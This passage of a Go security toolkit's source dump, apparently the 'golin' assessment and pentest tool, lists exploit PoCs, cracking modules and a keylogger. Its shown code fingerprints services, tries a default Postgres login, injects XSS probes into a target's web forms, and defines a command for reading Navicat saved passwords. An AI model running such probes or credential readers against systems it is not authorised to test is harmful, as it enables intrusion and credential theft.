├── LICENSE
├── Protocol
├── blackport.go
├── mysql.go
├── redis.go
├── rsysnc.go
├── ssh.go
├── telnet.go
├── web.go
├── web_RuleDatas.go
└── xss.go
├── README.md
├── clientinfo
├── cpu.go
└── netstat.go
├── cmd
├── cpu.go
├── dirsearch.go
├── keylogger_linux.go
├── keylogger_windows.go
├── linux.go
├── mysql.go
├── navicat.go
├── netstat.go
├── oracle.go
├── pgsql.go
├── redis.go
├── root.go
├── route.go
├── scan.go
├── sqlserver.go
├── update.go
├── user_users.go
├── web.go
├── windows.go
└── xshell.go
├── config
└── zap.go
├── dirscan
├── StatusCode.go
├── StatusToFile.go
├── parseFlags.go
├── percent.go
└── url.txt
├── global
├── CaptureWebScreenshot.go
├── countFiles.go
├── gloabl.go
├── log.go
├── percent.go
├── update.go
└── version.go
├── go.mod
├── go.sum
├── images
├── dirsearch.jpg
├── port.jpg
├── vx.jpg
├── web.jpg
└── xshell.jpg
├── main.go
├── poc
├── AuthZookeeper.go
├── Spring-CVE-2022-22947.go
├── client.go
├── emlog-default-passwd.go
├── run.go
├── yaml-poc
│ ├── poc-yaml-Alibaba-Sentinel-default-user.yaml
│ ├── poc-yaml-Apache-APISIX-default-admin.yaml
│ ├── poc-yaml-Apache-Druid-unauth.yaml
│ ├── poc-yaml-Apache-Solr-Admin-unauth.yaml
│ ├── poc-yaml-Apache-storm-unauth.yaml
│ ├── poc-yaml-AuthDruidun.yaml
│ ├── poc-yaml-AuthSwagger.yaml
│ ├── poc-yaml-CNVD-2021-26422.yaml
│ ├── poc-yaml-CVE-2024-2620.yaml
│ ├── poc-yaml-CVE-2024-28995.yaml
│ ├── poc-yaml-Casbin-Directory.yaml
│ ├── poc-yaml-Casbin-user-leak.yaml
│ ├── poc-yaml-CellinxNVT摄像机-Directory.yaml
│ ├── poc-yaml-Crawlab-Diretory.yaml
│ ├── poc-yaml-Crocus-Diretory.yaml
│ ├── poc-yaml-D-Link-admin-default-password.yaml
│ ├── poc-yaml-D-LinkNAS-cmd.yaml
│ ├── poc-yaml-DCME-320-Directory.yaml
│ ├── poc-yaml-DateEase-default-passwd.yaml
│ ├── poc-yaml-Docker-RemoteAPI-leak.yaml
│ ├── poc-yaml-Druidun-cve-2021-36749.yaml
│ ├── poc-yaml-EAA-Diretory.yaml
│ ├── poc-yaml-EOffice-sql.yaml
│ ├── poc-yaml-EasyCVR-default-password.yaml
│ ├── poc-yaml-EasyCVR-leak.yaml
│ ├── poc-yaml-Everything-unauth.yaml
│ ├── poc-yaml-Gerapy-admin-default.yaml
│ ├── poc-yaml-HIKVISION-leak.yaml
│ ├── poc-yaml-HJSOFT-HCM-sql.yaml
│ ├── poc-yaml-HiveServer-unauth.yaml
│ ├── poc-yaml-Jenkins-unauth.yaml
│ ├── poc-yaml-JumpServer-CVE-2023-42442.yaml
│ ├── poc-yaml-Juniper-CVE-2023-36845.yaml
│ ├── poc-yaml-JupyterLab-unauth.yaml
│ ├── poc-yaml-KubePi-createuser.yaml
│ ├── poc-yaml-Landray-OA-Diretory.yaml
│ ├── poc-yaml-Lightdash-CVE-2023-35844.yaml
│ ├── poc-yaml-MinIO-CVE-2023-28432.yaml
│ ├── poc-yaml-Mongo-express-unauth.yaml
│ ├── poc-yaml-NUUO-cmd.yaml
│ ├── poc-yaml-Nacos-CVE-2021-29441.yaml
│ ├── poc-yaml-Nacos-admin-default-password.yaml
│ ├── poc-yaml-NexusManager-CVE-2024-4956.yaml
│ ├── poc-yaml-Node-Exporter-unauth.yaml
│ ├── poc-yaml-Node-RED-Diretory.yaml
│ ├── poc-yaml-Prometheus-unatuh.yaml
│ ├── poc-yaml-Ruijie-CVE-2023-4415.yaml
│ ├── poc-yaml-SXF-cmd.yaml
│ ├── poc-yaml-SonarQube-auth.yaml
│ ├── poc-yaml-SpringActuatorHeapdump.yaml
│ ├── poc-yaml-TTX-CMS.yaml
│ ├── poc-yaml-TamronOS-IPTV-createuser.yaml
│ ├── poc-yaml-TamronOS-cmd.yaml
│ ├── poc-yaml-Tencent-leak.yaml
│ ├── poc-yaml-Tenda-leak.yaml
│ ├── poc-yaml-WIFISKY-admin-default-passwd.yaml
│ ├── poc-yaml-WYXY-cmd.yaml
│ ├── poc-yaml-XXLJOB-admin-default-passwd.yaml
│ ├── poc-yaml-Zabbix-default-passwd.yaml
│ ├── poc-yaml-activemq-admin-default-password.yaml
│ ├── poc-yaml-bdzdaqpt-Directory.yaml
│ ├── poc-yaml-dhcsafxt-Diretory.yaml
│ ├── poc-yaml-dhyqgl-userleak.yaml
│ ├── poc-yaml-docker-registry-unauth.yaml
│ ├── poc-yaml-dubbo-admin-default-password.yaml
│ ├── poc-yaml-e-Bridge-sql.yaml
│ ├── poc-yaml-fqhl-FE-Diretory.yaml
│ ├── poc-yaml-gld-OA-sql.yaml
│ ├── poc-yaml-go-pprof-leak.yaml
│ ├── poc-yaml-hcjcyjxt-Directory.yaml
│ ├── poc-yaml-hikvision-cve-2017-7921.yaml
│ ├── poc-yaml-jindir-Directory.yaml
│ ├── poc-yaml-jinhe-oa-sql.yaml
│ ├── poc-yaml-jshERP-ensitive-information.yaml
│ ├── poc-yaml-kibana-unatuh.yaml
│ ├── poc-yaml-kibana-unauth.yaml
│ ├── poc-yaml-mi-route-Directory.yaml
│ ├── poc-yaml-nginxWebUI-runCmd.yaml
│ ├── poc-yaml-nps-defaultpasswd.yaml
│ ├── poc-yaml-qwza-erp-runcmd.yaml
│ ├── poc-yaml-sangfor-Diretory.yaml
│ ├── poc-yaml-skzyqyxxgl-Diretory.yaml
│ ├── poc-yaml-skzyqyxxgl-sql.yaml
│ ├── poc-yaml-springboot-env-unauth.yaml
│ ├── poc-yaml-struts-cve_2021_31805.yaml
│ ├── poc-yaml-szycms-sql.yaml
│ ├── poc-yaml-tdsql-leak.yaml
│ ├── poc-yaml-thinkphp-3.x.yaml
│ ├── poc-yaml-thinkphp-5.0.23-rce.yaml
│ ├── poc-yaml-tongda-sql.yaml
│ ├── poc-yaml-tqhm-vpn-Directory.yaml
│ ├── poc-yaml-twwy-erp-Directory.yaml
│ ├── poc-yaml-wanhuoa-unauth.yaml
│ ├── poc-yaml-website-backup-download.yaml
│ ├── poc-yaml-wyxy-sql.yaml
│ ├── poc-yaml-yongyou-GRP-U8-leak.yaml
│ ├── poc-yaml-yongyou-GRP-U8-sql.yaml
│ ├── poc-yaml-yongyou-KSOA-sql.yaml
│ ├── poc-yaml-yongyou-nc-BshServlet-cmd.yaml
│ ├── poc-yaml-yongyou-nc-Directory.yaml
│ ├── poc-yaml-yongyou-ydxtgl-leak.yaml
│ ├── poc-yaml-yongyou-ydxtgl-sql.yaml
│ ├── poc-yaml-yst-Directory.yaml
│ ├── poc-yaml-zgyd-route-unauth.yaml
│ ├── poc-yuaml-BYTEVALUE -cmd.yaml
│ └── yaml-poc-HFS-cmd.yaml
└── yaml.go
├── run
├── Mysql.go
├── Mysql_html.go
├── Redis.go
├── Redis_html.go
├── Runssh.go
├── global.go
├── linux.go
├── linux_local.go
├── linux_struct.go
├── navicat
│ ├── navicat_linux.go
│ └── navicat_windows.go
├── oracle.go
├── oracle_struct.go
├── pgsql.go
├── pgsql_html.go
├── route.go
├── share.go
├── sqlserver.go
├── template
│ ├── linux_html.html
│ ├── oracle_html.html
│ └── styles.css
├── windows
│ ├── Screen.go
│ ├── auditd.go
│ ├── disk.go
│ ├── html.go
│ ├── iptable.go
│ ├── lockcount.go
│ ├── mstsc.go
│ ├── netstat.go
│ ├── osinfo.go
│ ├── passwd.go
│ ├── patch.go
│ ├── regedt.go
│ ├── users.go
│ └── windows.go
└── xshell
│ ├── xshell_linux.go
│ └── xshell_windows.go
├── scan
├── crack
│ ├── def-user-passwd.go
│ ├── ftp.go
│ ├── mongodb.go
│ ├── ms17010.go
│ ├── mysql.go
│ ├── oracle.go
│ ├── password.txt
│ ├── pgsql.go
│ ├── rdp.go
│ ├── rdp_pass.go
│ ├── redis.go
│ ├── rsync.go
│ ├── run.go
│ ├── smb.go
│ ├── sqlserver.go
│ ├── ssh.go
│ ├── telnet.go
│ └── tomcat.go
├── echo.go
├── exclude.go
├── pareIP.go
├── parsePort.go
├── ping.go
├── protocol.go
├── run.go
├── saveXlsx.go
└── scanPort.go
└── web
├── cert.go
├── execl.go
├── favicon.ico
├── history.go
├── route.go
├── template
├── dj.html
├── error.html
├── golinHistoryIndex.html
├── golinHome.html
├── index.html
└── indexFile.html
├── web.go
└── zip.go
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 SelinuxG
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Protocol/blackport.go:
--------------------------------------------------------------------------------
1 | package Protocol
2 |
3 | var (
4 | webport = []string{"80", "443", "8000", "8080", "8443", "8888", "9000"} //常见web服务使用的端口,在数据库扫描中跳过
5 | )
6 |
--------------------------------------------------------------------------------
/Protocol/mysql.go:
--------------------------------------------------------------------------------
1 | package Protocol
2 |
3 | import (
4 | "fmt"
5 | "golin/global"
6 | "gorm.io/driver/postgres"
7 | "gorm.io/gorm"
8 | "gorm.io/gorm/logger"
9 | "io"
10 | "log"
11 | "net"
12 | "strings"
13 | "time"
14 | )
15 |
16 | // IsMySqlProtocol 基于数据返回值确实是否未MySQL
17 | func IsMySqlProtocol(host, port string) (bool, string) {
18 | //按照常理来说,端口号小于4位必然不是MySQL
19 | if len(port) < 4 || global.InSlice(webport, port) {
20 | return false, ""
21 | }
22 |
23 | conn, err := net.Dial("tcp", fmt.Sprintf("%s:%s", host, port))
24 | if err != nil {
25 | return false, ""
26 | }
27 | defer conn.Close()
28 |
29 | err = conn.SetReadDeadline(time.Now().Add(3 * time.Second))
30 | if err != nil {
31 | return false, ""
32 | }
33 | buf := make([]byte, 4)
34 | _, err = conn.Read(buf)
35 | if err != nil {
36 | return false, ""
37 | }
38 |
39 | buf = make([]byte, 1)
40 | _, err = conn.Read(buf)
41 | if err != nil {
42 | return false, ""
43 | }
44 |
45 | if buf[0] != 10 {
46 | //fmt.Println("Not a MySQL server")
47 | return false, ""
48 | }
49 |
50 | buf = make([]byte, 1)
51 | version := ""
52 | for {
53 | _, err = conn.Read(buf)
54 | if err != nil {
55 | return false, ""
56 | }
57 | if buf[0] == 0 {
58 | break
59 | }
60 | version += string(buf)
61 | }
62 | return true, version
63 |
64 | }
65 |
66 | // IsPgsqlProtocol 基于gorm的登录错误消息判断是否为PostgreSQL
67 | func IsPgsqlProtocol(host, port string) bool {
68 |
69 | if !strings.Contains(port, "5432") {
70 | return false
71 | }
72 |
73 | log.SetOutput(io.Discard)
74 | dsn := fmt.Sprintf("host=%s user=%s password=%s dbname=postgres port=%s sslmode=disable TimeZone=Asia/Shanghai connect_timeout=%d", host, "postgres", "123456", port, 3)
75 | _, err := gorm.Open(postgres.Open(dsn), &gorm.Config{
76 | Logger: logger.Default.LogMode(logger.Silent), // 设置日志级别为 silent
77 | })
78 | if err != nil {
79 | if strings.Contains(err.Error(), "server error") || strings.Contains(err.Error(), "SQLSTATE") || strings.Contains(err.Error(), "致命错误") {
80 | return true
81 | }
82 | return false
83 | } else {
84 | return true
85 | }
86 |
87 | }
88 |
--------------------------------------------------------------------------------
/Protocol/redis.go:
--------------------------------------------------------------------------------
1 | package Protocol
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net"
7 | "strings"
8 | "time"
9 | )
10 |
11 | // IsRedisProtocol Redis 协议识别
12 | func IsRedisProtocol(conn net.Conn) bool {
13 | _ = conn.SetReadDeadline(time.Now().Add(3 * time.Second))
14 |
15 | // 发送一个 PING 命令
16 | _, err := fmt.Fprintf(conn, "*1\r\n$4\r\nPING\r\n")
17 | if err != nil {
18 | return false
19 | }
20 |
21 | // 读取返回的数据
22 | response, err := readResponse(conn)
23 | if err == nil {
24 | if strings.Contains(response, "NOAUTH") || strings.Contains(response, "PONG") {
25 | return true
26 | }
27 |
28 | }
29 |
30 | return false
31 |
32 | }
33 |
34 | // readResponse 返回第一行字符串以及错误
35 | func readResponse(conn net.Conn) (string, error) {
36 | // 创建一个新的 reader
37 | reader := bufio.NewReader(conn)
38 |
39 | // 读取一行数据
40 | line, err := reader.ReadString('\n')
41 | if err != nil {
42 | return "", err
43 | }
44 |
45 | return line, nil
46 | }
47 |
--------------------------------------------------------------------------------
/Protocol/rsysnc.go:
--------------------------------------------------------------------------------
1 | package Protocol
2 |
3 | import "strings"
4 |
5 | // IsRsyncProtocol Rsync 协议识别
6 | func IsRsyncProtocol(line string) bool {
7 | return strings.HasPrefix(line, "@RSYNCD")
8 | }
9 |
--------------------------------------------------------------------------------
/Protocol/ssh.go:
--------------------------------------------------------------------------------
1 | package Protocol
2 |
3 | import (
4 | "fmt"
5 | "strings"
6 | )
7 |
8 | const sshPrefix = "SSH-"
9 |
10 | // IsSSHProtocol SSH 协议识别
11 | func IsSSHProtocol(line string) bool {
12 | return strings.HasPrefix(line, sshPrefix)
13 | }
14 |
15 | func IsSSHProtocolApp(str string) string {
16 | str = strings.ReplaceAll(strings.ReplaceAll(str, "\r", ""), "\n", "")
17 | if strings.Contains(str, "Comware") {
18 | return fmt.Sprintf("%-5s|%s", "H3C", str)
19 | }
20 | if strings.Contains(str, "Cisco") {
21 | return fmt.Sprintf("%-5s|%s", "Cisco", str)
22 | }
23 | return str
24 | }
25 |
--------------------------------------------------------------------------------
/Protocol/telnet.go:
--------------------------------------------------------------------------------
1 | package Protocol
2 |
3 | import (
4 | "bufio"
5 | "io"
6 | "net"
7 | "strings"
8 | "time"
9 | )
10 |
11 | var (
12 | tel = []string{"password", "login", "huawei", "telnet", "copyright", "username", "password"}
13 | )
14 |
15 | func IsTelnet(conn net.Conn) bool {
16 | _ = conn.SetReadDeadline(time.Now().Add(3 * time.Second))
17 | reader := bufio.NewReader(conn)
18 | data, _ := io.ReadAll(reader)
19 |
20 | for _, v := range tel {
21 | if strings.Contains(strings.ToLower(string(data)), v) {
22 | return true
23 | }
24 | }
25 |
26 | return false
27 | }
28 |
--------------------------------------------------------------------------------
/Protocol/xss.go:
--------------------------------------------------------------------------------
1 | package Protocol
2 |
3 | import (
4 | "bytes"
5 | "github.com/PuerkitoBio/goquery"
6 | "io"
7 | "net/http"
8 | "net/url"
9 | "strings"
10 | )
11 |
12 | func CheckXss(targetURL string, body []byte) (bool, string) {
13 | foundXSS := false
14 | ply := ""
15 | xssPayloads := []string{
16 | ``,
17 | `
`,
18 | `
`,
19 | ``,
20 | `
;)
`,
21 | }
22 |
23 | doc, err := goquery.NewDocumentFromReader(bytes.NewReader(body))
24 | if err != nil {
25 | return false, ""
26 | }
27 |
28 | baseURL, err := url.Parse(targetURL)
29 | if err != nil {
30 | return false, ""
31 | }
32 |
33 | doc.Find("form").Each(func(i int, form *goquery.Selection) {
34 | formAction, _ := form.Attr("action")
35 | formMethod, _ := form.Attr("method")
36 |
37 | if formMethod == "" {
38 | formMethod = "GET"
39 | }
40 |
41 | actionURL, err := url.Parse(formAction)
42 | if err != nil {
43 | return
44 | }
45 |
46 | absURL := baseURL.ResolveReference(actionURL)
47 |
48 | for _, payload := range xssPayloads {
49 | data := url.Values{}
50 | form.Find("input").Each(func(i int, input *goquery.Selection) {
51 | inputName, _ := input.Attr("name")
52 | inputValue, _ := input.Attr("value")
53 | if inputName != "" {
54 | data.Set(inputName, inputValue+payload)
55 | }
56 | })
57 |
58 | var response *http.Response
59 | if strings.ToUpper(formMethod) == "POST" {
60 | response, err = http.PostForm(absURL.String(), data)
61 | } else {
62 | response, err = http.Get(absURL.String() + "?" + data.Encode())
63 | }
64 |
65 | if err != nil {
66 | continue
67 | }
68 |
69 | body, err := io.ReadAll(response.Body)
70 | if err != nil {
71 | continue
72 | }
73 | response.Body.Close()
74 |
75 | respDoc, err := goquery.NewDocumentFromReader(strings.NewReader(string(body)))
76 | if err != nil {
77 | continue
78 | }
79 |
80 | xssDetected := false
81 | respDoc.Find("script, img, div").Each(func(i int, s *goquery.Selection) {
82 | if s.Is("script") && strings.Contains(s.Text(), "Golin") {
83 | xssDetected = true
84 | } else {
85 | for _, attr := range []string{"onerror", "onmouseover", "src"} {
86 | attrValue, exists := s.Attr(attr)
87 | if exists && strings.Contains(attrValue, "Golin") {
88 | xssDetected = true
89 | break
90 | }
91 | }
92 | }
93 | if xssDetected {
94 | foundXSS = true
95 | ply = payload
96 | return
97 | }
98 | })
99 |
100 | if xssDetected {
101 | break
102 | }
103 | }
104 | })
105 |
106 | if foundXSS {
107 | return true, ply
108 | }
109 | return false, ""
110 | }
111 |
--------------------------------------------------------------------------------
/clientinfo/cpu.go:
--------------------------------------------------------------------------------
1 | // link:d-eyes
2 |
3 | package clientinfo
4 |
5 | import (
6 | "fmt"
7 | "github.com/gookit/color"
8 | "github.com/shirou/gopsutil/v3/process"
9 | "github.com/spf13/cobra"
10 | "os"
11 | "sort"
12 | "time"
13 | )
14 |
15 | type Process struct {
16 | Process []*process.Process
17 | }
18 |
19 | func CPU(cmd *cobra.Command, args []string) {
20 |
21 | count, _ := cmd.Flags().GetInt("count")
22 | Top(count)
23 |
24 | }
25 |
26 | func Top(count int) {
27 | ps, err := process.Processes()
28 | if err != nil {
29 | fmt.Println(err)
30 | return
31 | }
32 |
33 | sort.Slice(
34 | ps, func(i, j int) bool {
35 | pic, _ := ps[i].CPUPercent()
36 | pjc, _ := ps[j].CPUPercent()
37 | return pic > pjc
38 | },
39 | )
40 | pss := Process{Process: ps}
41 | CPUSum := 0
42 | color.Greenp("==============================================================================================\n")
43 | for _, ps := range pss.Process {
44 | pid := os.Getpid()
45 | if pid == int(ps.Pid) {
46 | continue
47 | }
48 | CPUSum++
49 | color.Greenp("* CPU Top ", CPUSum)
50 | fmt.Println()
51 | _pct, _ := ps.CreateTime()
52 | _pPath, _ := ps.Exe()
53 | _pCpuP, _ := ps.CPUPercent()
54 | startDate := time.Unix(_pct/1000, 0).Format("2006-01-02 15:04:05")
55 | username, _ := ps.Username()
56 | MemPer, _ := ps.MemoryPercent()
57 | fmt.Printf(
58 | "[User]:%s | [Pid]:%d | [Path]:%s | [CPU]:%.2f | [Memory]:%.2f | [Createdtime]:%v \n",
59 | username, ps.Pid, _pPath, _pCpuP, MemPer, startDate,
60 | )
61 | //network
62 | _ps, _ := ps.Connections()
63 | if len(_ps) == 0 {
64 | fmt.Println("[netstat]: null")
65 | } else {
66 | netSum := 0
67 |
68 | for _, conn := range _ps {
69 | if conn.Family == 1 {
70 | continue
71 | }
72 | netSum++
73 | fmt.Printf(
74 | "[netstat %d]: %v:%v<->%v:%v(%v)\n",
75 | netSum, conn.Laddr.IP, conn.Laddr.Port, conn.Raddr.IP, conn.Raddr.Port, conn.Status,
76 | )
77 | }
78 | }
79 | color.Greenp("==============================================================================================\n")
80 | if count != 0 && CPUSum == count {
81 | break
82 | }
83 | }
84 | }
85 |
--------------------------------------------------------------------------------
/clientinfo/netstat.go:
--------------------------------------------------------------------------------
1 | // link:d-eyes
2 |
3 | package clientinfo
4 |
5 | import (
6 | "bufio"
7 | "fmt"
8 | "github.com/olekukonko/tablewriter"
9 | "github.com/shirou/gopsutil/v3/process"
10 | "github.com/spf13/cobra"
11 | "os"
12 | "strings"
13 | )
14 |
15 | func Netstat(cmd *cobra.Command, args []string) {
16 | networkData := make([][]string, 0)
17 | var remoteIp []string
18 | ps, err := process.Processes()
19 | if err != nil {
20 | fmt.Println("Error:", err)
21 | return
22 | }
23 | for _, p := range ps {
24 |
25 | pid := os.Getpid()
26 | if pid == int(p.Pid) || p.Pid == 0 {
27 | continue
28 | }
29 |
30 | connList := make([]string, 0)
31 | connection := make([]string, 0)
32 | _pc, _ := p.Connections()
33 | for _, conn := range _pc {
34 | if conn.Family == 1 {
35 | continue
36 | }
37 | c := fmt.Sprintf(
38 | "%v:%v<->%v:%v(%v)\n",
39 | conn.Laddr.IP, conn.Laddr.Port, conn.Raddr.IP, conn.Raddr.Port, conn.Status,
40 | )
41 | remoteIp = append(remoteIp, conn.Raddr.IP)
42 |
43 | connection = append(connection, c)
44 | }
45 | _pUname, _ := p.Username()
46 | if len(connection) > 0 && _pUname != "" {
47 | network := strings.Join(connection, "")
48 | _exe, _ := p.Exe()
49 | path := StringNewLine(_exe, 25)
50 | username, _ := p.Username()
51 | connList = append(connList, fmt.Sprintf("%v", p.Pid), fmt.Sprintf("%v", username), network, path)
52 | networkData = append(networkData, connList)
53 | }
54 | }
55 |
56 | tableConn := tablewriter.NewWriter(os.Stdout)
57 | tableConn.SetHeader([]string{"pid", "user", "local/remote(TCP Status)", "program name"})
58 | tableConn.SetBorder(true)
59 | tableConn.SetRowLine(true)
60 | tableConn.AppendBulk(networkData)
61 | tableConn.Render()
62 | remoteIpNew := RemoveRepeatedElement(remoteIp)
63 |
64 | if len(remoteIpNew) > 0 {
65 | if err = WriteSliceToFile(remoteIpNew, "netstat.txt"); err == nil {
66 | fmt.Println("[*] 建立连接IP以写入到netstat.txt文件中...")
67 | }
68 | }
69 | }
70 |
71 | func RemoveRepeatedElement(arr []string) (newArr []string) {
72 | newArr = make([]string, 0)
73 | for i := 0; i < len(arr); i++ {
74 | if arr[i] == "127.0.0.1" || arr[i] == "0.0.0.0" || arr[i] == "::" || arr[i] == "::1" || arr[i] == "" {
75 | continue
76 | }
77 | repeat := false
78 | for j := i + 1; j < len(arr); j++ {
79 | if arr[i] == arr[j] {
80 | repeat = true
81 | break
82 | }
83 | }
84 | if !repeat {
85 | newArr = append(newArr, arr[i])
86 | }
87 | }
88 | return
89 | }
90 |
91 | func StringNewLine(str string, ln uint8) string {
92 | var sub_str string
93 | res_str := ""
94 | for {
95 | if len(str) < int(ln) {
96 | res_str += str
97 | break
98 | }
99 | sub_str = str[0:ln]
100 | str = str[ln:]
101 | res_str += sub_str + "\n"
102 | }
103 | return res_str
104 | }
105 |
106 | // WriteSliceToFile 将切片中的每个元素写入指定的文件
107 | func WriteSliceToFile(slice []string, filename string) error {
108 | // 打开文件,如果文件不存在则创建,如果文件存在则清空并打开。
109 | file, err := os.Create(filename)
110 | if err != nil {
111 | return fmt.Errorf("创建文件失败: %v", err)
112 | }
113 | defer file.Close()
114 |
115 | // 使用 bufio.NewWriter 创建一个新的 Writer 对象。
116 | writer := bufio.NewWriter(file)
117 |
118 | // 遍历切片,将每个元素写入文件。
119 | for _, item := range slice {
120 | _, err := writer.WriteString(item + "\n") // 在每个元素后添加换行符。
121 | if err != nil {
122 | return fmt.Errorf("写入文件失败: %v", err)
123 | }
124 | }
125 |
126 | // 确保所有缓冲的数据都已写入底层 io.Writer。
127 | if err := writer.Flush(); err != nil {
128 | return fmt.Errorf("刷新到文件失败: %v", err)
129 | }
130 |
131 | return nil
132 | }
133 |
--------------------------------------------------------------------------------
/cmd/cpu.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/clientinfo"
6 | )
7 |
8 | // cpuCmd represents the cpu command
9 | var cpuCmd = &cobra.Command{
10 | Use: "cpu",
11 | Short: "获取CPU进程信息",
12 | Long: `降序获取CPU进程信息,输出:PID、PATH、`,
13 | Run: clientinfo.CPU,
14 | }
15 |
16 | func init() {
17 | rootCmd.AddCommand(cpuCmd)
18 | cpuCmd.Flags().IntP("count", "c", 5, "降序输出多少个")
19 | }
20 |
--------------------------------------------------------------------------------
/cmd/dirsearch.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/dirscan"
6 | )
7 |
8 | // networkCmd represents the network command
9 |
10 | var dirsearch = &cobra.Command{
11 | Use: "dirsearch",
12 | Short: "进行网页目录扫描",
13 | Run: dirscan.ParseFlags,
14 | }
15 |
16 | func init() {
17 | rootCmd.AddCommand(dirsearch)
18 | dirsearch.Flags().StringP("url", "u", "", "指定扫描url")
19 | dirsearch.Flags().StringP("proxy", "p", "", "指定代理")
20 | dirsearch.Flags().IntP("chan", "c", 100, "并发数量")
21 | dirsearch.Flags().IntP("timeout", "t", 3, "超时等待时常/s")
22 | dirsearch.Flags().StringP("file", "f", "", "此参数是指定读取的字典(不指定则使用内置字典)")
23 | dirsearch.Flags().StringP("code", "", "200", "此参数是指定状态码,多个按照,分割")
24 | dirsearch.Flags().IntP("wait", "", 0, "此参数是每次访问后等待多长时间")
25 | dirsearch.Flags().StringP("Agent", "", "", "自定义User-Agent")
26 | }
27 |
--------------------------------------------------------------------------------
/cmd/keylogger_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | package cmd
4 |
5 | import (
6 | "fmt"
7 | "github.com/spf13/cobra"
8 | )
9 |
10 | // redisCmd represents the redis command
11 | var keylogger = &cobra.Command{
12 | Use: "keylogger",
13 | Short: "键盘记录器",
14 | Long: `实时记录键盘输入信息到日志文件中`,
15 | Run: KeyLoggerCmd,
16 | }
17 |
18 | func init() {
19 | rootCmd.AddCommand(keylogger)
20 | }
21 |
22 | func KeyLoggerCmd(cmd *cobra.Command, args []string) {
23 | fmt.Printf("[-] 仅支持Windows操作系统\n")
24 | return
25 | }
26 |
--------------------------------------------------------------------------------
/cmd/linux.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/global"
6 | "golin/run"
7 | )
8 |
9 | // linuxCmd represents the linux command
10 | var linuxCmd = &cobra.Command{
11 | Use: "linux",
12 | Short: "运行采集Linux安全配置核查功能",
13 | Long: `基于SSH协议远程登录功能,通过多线程的方法批量进行采集`,
14 | Run: run.Linux,
15 | }
16 |
17 | func init() {
18 | rootCmd.AddCommand(linuxCmd)
19 | linuxCmd.Flags().StringP("ip", "i", global.CmdLinuxPath, "此参数是指定待远程采集的IP文件位置")
20 | linuxCmd.Flags().StringP("cmd", "c", "", "此参数是指定待自定义执行的命令文件")
21 | linuxCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符")
22 | linuxCmd.Flags().StringP("value", "v", "", "此参数是指定执行单个主机")
23 | linuxCmd.Flags().StringP("cmdvalue", "C", "", "此参数是自定义执行命令(比-c优先级高)")
24 | linuxCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出")
25 | linuxCmd.Flags().BoolP("localhost", "l", false, "此参数是控制本机采集的模式")
26 | linuxCmd.Flags().BoolP("sudo", "u", false, "此参数是使用sudo权限执行命令")
27 | }
28 |
--------------------------------------------------------------------------------
/cmd/mysql.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/global"
6 | "golin/run"
7 | )
8 |
9 | // mysqlCmd represents the mysql command
10 | var mysqlCmd = &cobra.Command{
11 | Use: "mysql",
12 | Short: "运行采集MySql安全配合核查功能",
13 | Long: `基于Mysql远程通过多线程连接执行指定sql语句并记录,连接等待为10秒左右,连不上则断开。`,
14 | Run: run.Mysql,
15 | }
16 |
17 | func init() {
18 | rootCmd.AddCommand(mysqlCmd)
19 | mysqlCmd.Flags().StringP("ip", "i", global.CmdMysqlPath, "此参数是指定待远程采集的IP文件位置")
20 | mysqlCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符")
21 | mysqlCmd.Flags().StringP("value", "v", "", "此参数是指定执行单个主机")
22 | mysqlCmd.Flags().StringP("cmd", "c", "", "此参数是自定义执行sql语句")
23 | }
24 |
--------------------------------------------------------------------------------
/cmd/navicat.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/run/navicat"
6 | )
7 |
8 | var NavicatCmd = &cobra.Command{
9 | Use: "navicat",
10 | Short: "获取本机navicat配置信息",
11 | Long: `基于Software\PremiumSoft注册表读取账号密码等信息`,
12 | Run: navicat.Run,
13 | }
14 |
15 | func init() {
16 | rootCmd.AddCommand(NavicatCmd)
17 | }
18 |
--------------------------------------------------------------------------------
/cmd/netstat.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/clientinfo"
6 | )
7 |
8 | // netstatCmd represents the netstat command
9 | var netstatCmd = &cobra.Command{
10 | Use: "netstat",
11 | Short: "获取网络连接信息",
12 | Long: `降序获取网络连接信息 比如:pid、local_address、remote_address、status、program_name`,
13 | Run: clientinfo.Netstat,
14 | }
15 |
16 | func init() {
17 | rootCmd.AddCommand(netstatCmd)
18 | }
19 |
--------------------------------------------------------------------------------
/cmd/oracle.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/global"
6 | "golin/run"
7 | )
8 |
9 | // linuxCmd represents the linux command
